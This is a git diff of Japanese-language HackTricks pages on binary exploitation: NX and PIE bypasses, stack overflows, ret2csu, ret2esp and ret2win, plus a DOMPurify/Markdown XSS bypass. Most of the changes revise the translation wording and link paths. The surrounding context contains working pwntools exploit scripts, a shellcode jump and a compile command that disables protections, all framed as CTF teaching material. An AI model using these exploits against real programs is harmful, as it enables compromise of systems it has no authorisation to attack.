```
|
```
|
||||||
### HTML Sanitiser Markdown Bypass
|
### HTML Sanitiser Markdown Bypass
|
||||||
|
|
||||||
次のコードは**HTML入力をサニタイズ**し、その後**Markdownパーサーに渡しています**。その後、XSSはMarkdownとDOMPurifyの間の誤解を利用してトリガーされる可能性があります。
|
次のコードは**HTML入力をサニタイズ**し、その後**Markdownパーサーに渡します**。その後、XSSはMarkdownとDOMPurifyの間の誤解を利用してトリガーされる可能性があります。
|
||||||
```html
|
```html
|
||||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||||
@ -61,7 +61,7 @@ DOMPurify.sanitize(qs.get("content"))
|
|||||||
<div
|
<div
|
||||||
id="1
|
id="1
|
||||||
|
|
||||||
//)">
|
//index.html)">
|
||||||
-----------------------------------------------
|
-----------------------------------------------
|
||||||
<a
|
<a
|
||||||
title="a
|
title="a
|
||||||
|
@ -4,12 +4,12 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** のような **データ** 用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
|
**No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**データ** 用のメモリ領域(例えば **スタック** や **ヒープ**)を区別します。基本的な考え方は、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
|
||||||
|
|
||||||
## バイパス
|
## バイパス
|
||||||
|
|
||||||
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md) のような技術を使用して、この保護をバイパスし、バイナリ内に既に存在する実行可能コードのチャンクを実行することが可能です。
|
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md) のような技術を使用して、この保護をバイパスし、バイナリ内に既に存在する実行可能コードのチャンクを実行することが可能です。
|
||||||
- [**Ret2libc**](../stack-overflow/ret2libc/)
|
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
|
||||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||||
- **Ret2...**
|
- **Ret2...**
|
||||||
|
|
||||||
|
@ -6,24 +6,24 @@
|
|||||||
|
|
||||||
PIE(**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
|
PIE(**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
|
||||||
|
|
||||||
これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、**スタック**からフォーマット文字列攻撃のような脆弱性を利用して取得します。アドレスを取得すると、**固定オフセット**を使って他のアドレスを計算できます。
|
これらのバイナリを悪用するためのトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。
|
||||||
|
|
||||||
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに動作しない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
|
PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
|
||||||
また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
|
また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
|
||||||
|
|
||||||
## バイパス
|
## バイパス
|
||||||
|
|
||||||
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
|
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
|
||||||
|
|
||||||
- **ASLRを無効にする**:ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされます**。したがって、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
|
- **ASLRを無効にする**:ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
|
||||||
- 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
- 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||||
- スタック内の**EBPおよびEIP値をブルートフォース**して、正しいものを漏洩させる:
|
- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
bypassing-canary-and-pie.md
|
bypassing-canary-and-pie.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**フォーマット文字列**](../../format-strings/)のような任意の読み取り脆弱性を使用して、バイナリのアドレスを漏洩させ(例:前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
- [**フォーマットストリング**](../../format-strings/index.html)のような任意の読み取り脆弱性を使用して、バイナリのアドレスを漏洩させ(例:前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -22,13 +22,13 @@ printf("You entered: %s\n", buffer);
|
|||||||
```
|
```
|
||||||
### スタックオーバーフローの発見
|
### スタックオーバーフローの発見
|
||||||
|
|
||||||
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の`A`(例:`python3 -c 'print("A"*1000)'`)を与え、**アドレス`0x41414141`にアクセスしようとしたことを示す`Segmentation Fault`を期待することです**。
|
スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault` を期待します**。
|
||||||
|
|
||||||
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするためのオフセットを見つける必要があります**。これには通常、**De Bruijn列**が使用されます。これは、サイズが_k_のアルファベットと長さ_n_の部分列に対して、**長さ**_**n**_**のすべての可能な部分列がちょうど1回ずつ連続した部分列として現れる**サイクリックシーケンスです。
|
さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセットを見つける必要があります**。これには通常、**デ・ブルイン列**が使用されます。与えられたサイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ **_**n**_** のすべての可能な部分列がちょうど一度だけ連続した部分列として現れる** **循環列**です。
|
||||||
|
|
||||||
この方法により、手動でEIPを制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることができます。
|
この方法により、手動でEIPを制御するために必要なオフセットを特定する代わりに、これらの列の1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることができます。
|
||||||
|
|
||||||
これには**pwntools**を使用することができます:
|
これには**pwntools**を使用することができます:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -50,13 +50,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||||||
## スタックオーバーフローの悪用
|
## スタックオーバーフローの悪用
|
||||||
|
|
||||||
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を上書きして、保存された EBP/RBP および EIP/RIP に到達することができます(さらにはそれ以上)。\
|
オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を上書きして、保存された EBP/RBP および EIP/RIP に到達することができます(さらにはそれ以上)。\
|
||||||
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了するときに、**制御フローがこのポインタでユーザーが指定した場所にリダイレクトされる**ことです。
|
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了するときに**制御フローがこのポインタでユーザーが指定した場所にリダイレクトされる**ことです。
|
||||||
|
|
||||||
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで、悪用が可能な場合もあります(簡単な CTF チャレンジのように)。
|
しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります(簡単な CTF チャレンジのように)。
|
||||||
|
|
||||||
### Ret2win
|
### Ret2win
|
||||||
|
|
||||||
この種の CTF チャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、**呼び出す関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/) は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
この種の CTF チャレンジでは、**バイナリ内に** **決して呼び出されない** **関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするオフセットを見つけ**、**呼び出す関数のアドレスを見つける**だけで済みます(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2win.md
|
ret2win.md
|
||||||
@ -72,7 +72,7 @@ stack-shellcode.md
|
|||||||
|
|
||||||
## ROP
|
## ROP
|
||||||
|
|
||||||
この技術は、前の技術の主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし**(NX)。そして、既存の命令を悪用して任意のコマンドを実行する他のいくつかの技術(ret2lib、ret2syscall...)を実行することを可能にします:
|
この技術は、前述の技術の主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなし**(NX)。そして、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかの技術(ret2lib、ret2syscall...)を実行することを可能にします:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
rop-return-oriented-programing.md
|
rop-return-oriented-programing.md
|
||||||
|
@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。 
|
**ret2csu** は、プログラムの制御を試みる際に、プログラムの動作を操作するために通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。 
|
||||||
|
|
||||||
プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
|
プログラムが特定のライブラリ(libcなど)を使用している場合、異なるプログラムの部分がどのように通信するかを管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝物があります。
|
||||||
|
|
||||||
### __libc_csu_init の魔法のガジェット
|
### __libc_csu_init の魔法のガジェット
|
||||||
|
|
||||||
`__libc_csu_init` には、際立った2つの命令のシーケンス(私たちの「魔法のガジェット」)があります:
|
`__libc_csu_init` には、目立つ2つの命令のシーケンス(私たちの「魔法のガジェット」)があります:
|
||||||
|
|
||||||
1. 最初のシーケンスは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
|
1. 最初のシーケンスは、いくつかのレジスタ(rbx、rbp、r12、r13、r14、r15)に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
|
||||||
```armasm
|
```armasm
|
||||||
@ -25,7 +25,7 @@ ret;
|
|||||||
このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。
|
このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。
|
||||||
|
|
||||||
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
|
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
|
||||||
- **特定の値を他のレジスタに移動し**、関数のパラメータとして使用できるようにします。
|
- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
|
||||||
- **r15とrbxの値を足し合わせ、rbxを8倍して**決定された場所にコールを実行します。
|
- **r15とrbxの値を足し合わせ、rbxを8倍して**決定された場所にコールを実行します。
|
||||||
```
|
```
|
||||||
mov rdx, r14;
|
mov rdx, r14;
|
||||||
@ -35,12 +35,12 @@ call qword [r15 + rbx*8];
|
|||||||
```
|
```
|
||||||
## 例
|
## 例
|
||||||
|
|
||||||
システムコールを行うか、`write()`のような関数を呼び出したいが、`rdx`と`rsi`レジスタに特定の値をパラメータとして必要とする場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
システムコールを行うか、`write()`のような関数を呼び出したいが、`rdx`および`rsi`レジスタに特定の値をパラメータとして設定する必要があるとします。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
||||||
|
|
||||||
ここで**ret2csu**が登場します:
|
ここで**ret2csu**が登場します:
|
||||||
|
|
||||||
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップし、rbx、rbp、r12(edi)、r13(rsi)、r14(rdx)、r15に入れます。
|
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップしてrbx、rbp、r12(edi)、r13(rsi)、r14(rdx)、およびr15に入れます。
|
||||||
2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を`rdx`と`rsi`(それぞれr14とr13から)に移動させ、関数呼び出しのためのパラメータを準備します。さらに、`r15`と`rbx`を制御することで、計算したアドレスにある関数を呼び出すようにプログラムを作成し、`[r15 + rbx*8]`に配置することができます。
|
2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を`rdx`および`rsi`(それぞれr14およびr13から)に移動させ、関数呼び出しのためのパラメータを準備します。さらに、`r15`と`rbx`を制御することで、計算したアドレスにある関数を呼び出すことができ、`[r15 + rbx*8]`に配置します。
|
||||||
|
|
||||||
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
|
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
|
||||||
```python
|
```python
|
||||||
@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||||||
print(p.recvline()) # should receive "Awesome work!"
|
print(p.recvline()) # should receive "Awesome work!"
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 前のエクスプロイトは**`RCE`**を行うことを目的としていないことに注意してください。これは、`win`という関数を呼び出すことを目的としており(ROPチェーンでstdinから`win`のアドレスを取得し、それをr15に格納します)、第三の引数として`0xdeadbeefcafed00d`の値を取ります。
|
> 注意してください、前のエクスプロイトは**`RCE`**を行うことを目的としていません。これは、`win`という関数を呼び出すことを目的としており(ROPチェーンでのgetsからのstdinの`win`のアドレスを取得し、それをr15に格納します)、第三の引数として`0xdeadbeefcafed00d`の値を取ります。
|
||||||
|
|
||||||
### なぜlibcを直接使用しないのか?
|
### なぜlibcを直接使用しないのか?
|
||||||
|
|
||||||
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibcで直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は三つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
|
通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html)にも脆弱ですが、時にはlibcで直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は三つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -6,13 +6,13 @@
|
|||||||
|
|
||||||
**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
|
**ESP(スタックポインタ)が常にスタックの最上部を指しているため**、この技術はEIP(命令ポインタ)を**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
|
||||||
|
|
||||||
**アドレス空間配置のランダム化(ASLR)**がWindowsまたはLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/)を打破する必要があるかもしれません)。
|
**アドレス空間配置のランダム化(ASLR)**がWindowsまたはLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/index.html)を打破する必要があるかもしれません)。
|
||||||
|
|
||||||
さらに、EIPの破損の**後にシェルコードを配置できる**ことは、関数の操作中に実行される`push`または`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
|
さらに、シェルコードを**EIPの破損の後に配置できる**ことは、関数の操作中に実行される`push`または`pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
|
||||||
|
|
||||||
### スペース不足
|
### スペース不足
|
||||||
|
|
||||||
RIPを上書きした後に書くスペースが不足している場合(おそらく数バイトだけ)、初期の`jmp`シェルコードを書いてください:
|
RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の`jmp`シェルコードを次のように書きます:
|
||||||
```armasm
|
```armasm
|
||||||
sub rsp, 0x30
|
sub rsp, 0x30
|
||||||
jmp rsp
|
jmp rsp
|
||||||
@ -21,7 +21,7 @@ jmp rsp
|
|||||||
|
|
||||||
### 例
|
### 例
|
||||||
|
|
||||||
この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)で見つけることができ、最終的なエクスプロイトは次のようになります:
|
この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)にあり、最終的なエクスプロイトは次のようになります:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -52,7 +52,7 @@ p.interactive()
|
|||||||
## 保護
|
## 保護
|
||||||
|
|
||||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役に立ちません。
|
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためにジャンプする必要があるため、これは役に立ちません。
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): これらはespや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): これらはespや他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリーです。目的は、与えられたバイナリの脆弱性を利用して、バイナリ内の特定の未呼び出し関数を実行することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、スタック上の **リターンアドレス** を上書きして、実行フローを目的の関数に転送することを含みます。以下は、例を交えた詳細な説明です。
|
**Ret2win** チャレンジは、特に **バイナリエクスプロイト** を含むタスクにおいて、**Capture The Flag (CTF)** コンペティションで人気のあるカテゴリです。目的は、特定の未呼び出しの関数をバイナリ内で実行するために、与えられたバイナリの脆弱性を悪用することです。この関数は通常、`win`、`flag` などの名前が付けられています。この関数が実行されると、通常はフラグや成功メッセージが出力されます。チャレンジは通常、実行フローを目的の関数に誘導するためにスタック上の **リターンアドレス** を上書きすることを含みます。以下は、例を交えた詳細な説明です。
|
||||||
|
|
||||||
### Cの例
|
### Cの例
|
||||||
|
|
||||||
@ -27,7 +27,7 @@ vulnerable_function();
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
このプログラムをスタック保護なしで、かつ **ASLR** を無効にしてコンパイルするには、次のコマンドを使用できます:
|
このプログラムをスタック保護なしで、かつ**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます:
|
||||||
```sh
|
```sh
|
||||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||||
```
|
```
|
||||||
@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr
|
|||||||
p.sendline(payload)
|
p.sendline(payload)
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
`win` 関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査することを可能にする他のツールを使用できます。例えば、`objdump` を使用して、次のようにできます:
|
`win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査することを可能にする他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
|
||||||
```sh
|
```sh
|
||||||
objdump -d vulnerable | grep win
|
objdump -d vulnerable | grep win
|
||||||
```
|
```
|
||||||
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 
|
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。 
|
||||||
|
|
||||||
Python スクリプトは、`vulnerable_function` によって処理されると、バッファがオーバーフローし、スタック上のリターンアドレスが `win` のアドレスで上書きされるように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
|
Python スクリプトは、`vulnerable_function` によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを `win` のアドレスで上書きするように慎重に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
|
||||||
|
|
||||||
## 保護
|
## 保護
|
||||||
|
|
||||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなるため、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
|
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **は無効にするべきです**。そうしないと、実行ごとにアドレスが信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**(1 ニブル)です。
|
||||||
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
|
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
|
||||||
|
|
||||||
## その他の例と参考文献
|
## その他の例と参考文献
|
||||||
|
|
||||||
@ -86,6 +86,6 @@ Python スクリプトは、`vulnerable_function` によって処理されると
|
|||||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||||
- 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数(ret2win)で上書きするフォーマット文字列
|
- 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数(ret2win)で上書きするフォーマット文字列
|
||||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||||
- 64ビット、relro、カナリアなし、nx、pieあり。`win` 関数(ret2win)を呼び出すための部分上書き
|
- 64ビット、relro、カナリアなし、nx、pie。`win` 関数(ret2win)を呼び出すための部分上書き
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,12 +4,12 @@
|
|||||||
|
|
||||||
## **基本情報**
|
## **基本情報**
|
||||||
|
|
||||||
**Return-Oriented Programming (ROP)** は、**No-Execute (NX)** や **Data Execution Prevention (DEP)** のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。シェルコードを注入して実行する代わりに、攻撃者はバイナリやロードされたライブラリに既に存在するコードの断片、いわゆる **"gadgets"** を利用します。各ガジェットは通常 `ret` 命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。
|
**Return-Oriented Programming (ROP)** は、**No-Execute (NX)** や **Data Execution Prevention (DEP)** のようなセキュリティ対策を回避するために使用される高度なエクスプロイト技術です。攻撃者は、シェルコードを注入して実行するのではなく、バイナリやロードされたライブラリに既に存在するコードの断片、いわゆる **"gadgets"** を利用します。各ガジェットは通常 `ret` 命令で終わり、レジスタ間でデータを移動したり、算術演算を行ったりする小さな操作を実行します。これらのガジェットを連鎖させることで、攻撃者は任意の操作を実行するペイロードを構築し、NX/DEP保護を効果的に回避できます。
|
||||||
|
|
||||||
### ROPの動作
|
### ROPの動作
|
||||||
|
|
||||||
1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用してスタック上の保存された戻りアドレスを上書きします。
|
